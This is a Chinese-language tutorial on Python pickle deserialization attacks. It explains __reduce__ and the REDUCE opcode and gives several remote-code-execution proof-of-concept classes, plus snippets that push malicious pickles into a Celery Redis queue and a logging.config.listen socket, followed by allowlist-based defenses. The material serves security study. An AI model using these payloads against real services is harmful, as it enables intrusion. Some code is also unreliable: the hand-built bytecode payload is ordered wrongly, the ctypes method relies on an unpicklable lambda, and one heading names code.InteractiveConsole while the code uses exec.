一、pickle 是什么

pickle 是 Python 标准库的对象序列化模块。和 JSON 不同,pickle 可以序列化几乎所有 Python 对象。

import pickle
data = {"name": "admin", "roles": ["root", "sudo"]}
s = pickle.dumps(data)
r = pickle.loads(s)
# pickle 输出是二进制,前两个字节是协议版本:\x80\x04

Python 官方文档第一行就是警告:"Never unpickle data that comes from an untrusted source."

二、reduce 与 RCE 原理

所有 pickle 攻击的核心都是 __reduce__ 方法。反序列化时,pickle 协议看到 REDUCE opcode 就会执行:

result = callable(*args)

如果 callable 是 os.system 而 args 是 ("touch /tmp/pwned",),那就直接代码执行了。

最简 PoC

import os, pickle

class Exploit:
    def __reduce__(self):
        return (os.system, ("touch /tmp/pickle_rce",))

evil_bytes = pickle.dumps(Exploit())
pickle.loads(evil_bytes)  # 执行命令

reduce 返回值完整格式

返回值 行为
(callable, args) 执行 callable(*args) 返回 object
(callable, args, state) 先 callable,后 object.__setstate__(state)
(callable, args, state, iter) 额外 object.extend(iter)
(callable, args, state, iter, dict_iter) 额外 object.update(dict_iter)

三、协议字节码

3.1 pickletools 反汇编

python3 -c "import pickle, os; print(pickle.dumps([os.system,('id',)]))" | python3 -m pickletools

协议 0(ASCII 格式)最容易读懂:

(cposix
system
(S'id'
tR.
Opcode 含义
c GLOBAL:加载 module.name
( 开始构建 tuple
S 推入 string
t 结束 tuple
R REDUCE:执行 callable(*args)
. STOP

协议 4(Python 3.8+)更紧凑但原理相同。

四、构造恶意 Payload

方法一:直接手工拼字节码

import pickle, pickletools, base64

def build_rce(cmd):
    payload = f"(\nS'{cmd}'\ncposix\nsystem\ntR.\n"
    return payload.encode()

p = build_rce("touch /tmp/pickle_pwned")
pickle.loads(p)  # 触发
pickletools.dis(p)  # 调试

方法二:利用 subprocess.Popen

import pickle, subprocess, os

class EvilPopen:
    def __reduce__(self):
        return (subprocess.Popen,
                (["/bin/sh", "-c", "touch /tmp/subprocess_rce"],))

evil_bytes = pickle.dumps(EvilPopen())
pickle.loads(evil_bytes)

subprocess.Popen 的 __reduce__ 是可序列化的,且 subprocess 在所有 Python 环境都存在。

方法三:利用 code.InteractiveConsole

import pickle

class EvilCode:
    def __reduce__(self):
        code = (
            "import os\n"
            "os.system('touch /tmp/code_rce')\n"
        )
        return (exec, (code,))

方法四:ctypes CDLL

class EvilCtypes:
    def __reduce__(self):
        return (
            ctypes.CDLL,
            ("libc.so.6",),
            None, None, None,
            {
                '__setstate__': lambda s: getattr(ctypes.CDLL("libc.so.6"), "system")("touch /tmp/ctypes_rce")
            }
        )

五、pickletools 反汇编调试

在实战中,用 pickletools 分析未知 payload:

import pickletools, sys
with open('payload.bin','rb') as f:
    pickletools.dis(f)

如果看到 c(GLOBAL)加载危险模块如 ossubprocess,或 s(STACK_GLOBAL)+ R(REDUCE)组合,基本就是 RCE payload。

六、现代框架实战

Celery 默认配置

import redis, pickle, os

class Evil:
    def __reduce__(self):
        return (os.system, ("touch /tmp/celery_pwned",))

r = redis.Redis(host="target", port=6379)
r.lpush("celery", pickle.dumps(Evil(), protocol=4))
# Celery worker 默认用 pickle 反序列化任务

Python logging.config.listen

# TCP 端口接收 pickle 序列化的日志配置
import socket, pickle, os

class Exploit:
    def __reduce__(self):
        return (os.system, ("touch /tmp/logging_rce",))

s = socket.socket()
s.connect(("target", 9999))  # logging.config.listen 默认端口
s.sendall(pickle.dumps(Exploit(), protocol=4))
s.close()

Django / Flask 某些老版本 session

# 如果 Django SESSION_SERIALIZER = django.contrib.sessions.serializers.PickleSerializer

七、防御方案

7.1 自定义 SafeUnpickler

import pickle, io

class SafeUnpickler(pickle.Unpickler):
    ALLOWED = {
        'builtins': {'list', 'dict', 'int', 'str', 'float', 'set', 'tuple', 'bool', 'bytes'},
        'datetime': {'datetime', 'date', 'time', 'timedelta'},
        'decimal': {'Decimal'}
    }
    def find_class(self, module, name):
        if module in self.ALLOWED and name in self.ALLOWED[module]:
            return super().find_class(module, name)
        raise pickle.UnpicklingError(f"Blocked: {module}.{name}")

def safe_load(data):
    return SafeUnpickler(io.BytesIO(data)).load()

7.2 全局禁用

import pickle
original_find_class = pickle.Unpickler.find_class
def safe_find_class(self, module, name):
    raise pickle.UnpicklingError(f"Blocked by policy: {module}.{name}")
pickle.Unpickler.find_class = safe_find_class

7.3 用 JSON / msgpack / protobuf 替代

任何需要序列化的数据结构都应该用 JSON 或更安全的格式。

八、总结

pickle 反序列化攻击的核心模型是 __reduce__ → (callable, args)。和 Java/PHP 的魔术方法链不同,pickle 不需要构造 gadget 链——只要能控制 GLOBAL + REDUCE,就能直接调用目标 Python 环境里的任何函数。防御上唯一可靠的方案是根本不反序列化不可信数据,改用 JSON / msgpack / protobuf 等安全格式。

九、Django session pickle 风险

老版本 Django 支持 pickle session:

# settings.py(危险配置)
SESSION_ENGINE = 'django.contrib.sessions.backends.cache'
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
# 或 Redis + pickle

如果 Redis 或 cookie 被篡改,就能注入 pickle payload。新版本 Django 默认用 JSON。

十、为什么 pickle 特别危险

pickle 的设计目标是 完全复刻 Python 对象。这意味着它需要:

  1. 知道要加载哪个模块的哪个类(GLOBAL opcode)
  2. 知道如何构造这个类的实例(REDUCE opcode)

这两个能力组合起来就是 RCE——因为 os.system() 就是一个普通可序列化 callable。和 Java 反序列化不同,pickle 不需要额外的 gadget 链,因为 os.system 就是 pickle 协议天生能处理的。

十一、各语言反序列化危险等级

语言 序列化器 危险 说明
Python pickle 🔴 极高 REDUCE opcode 直接 RCE
Java ObjectInputStream 🔴 高 需要 gadget 链
PHP unserialize 🔴 高 需要魔术方法链
.NET BinaryFormatter 🔴 极高 TypeConfuseDelegate 无依赖
Ruby Marshal 🟠 中 需要特定 gadget
Node.js node-serialize 🔴 高 _ 字段注入
Go gob 🟢 安全 不支持自定义类型
Rust bincode / serde 🟢 安全 不支持任意代码执行

十二、总结补充

pickle 是所有反序列化机制中最危险的——不需要 gadget 链就能直接 RCE。这是因为 pickle 协议设计时信任数据来源,REDUCE opcode 本意是让自定义类描述如何序列化/反序列化自己,但结果被用来直接执行 callable。防御上没有折中方案——pickle 只能用于内部可信数据,外部输入永远用 JSON / msgpack / protobuf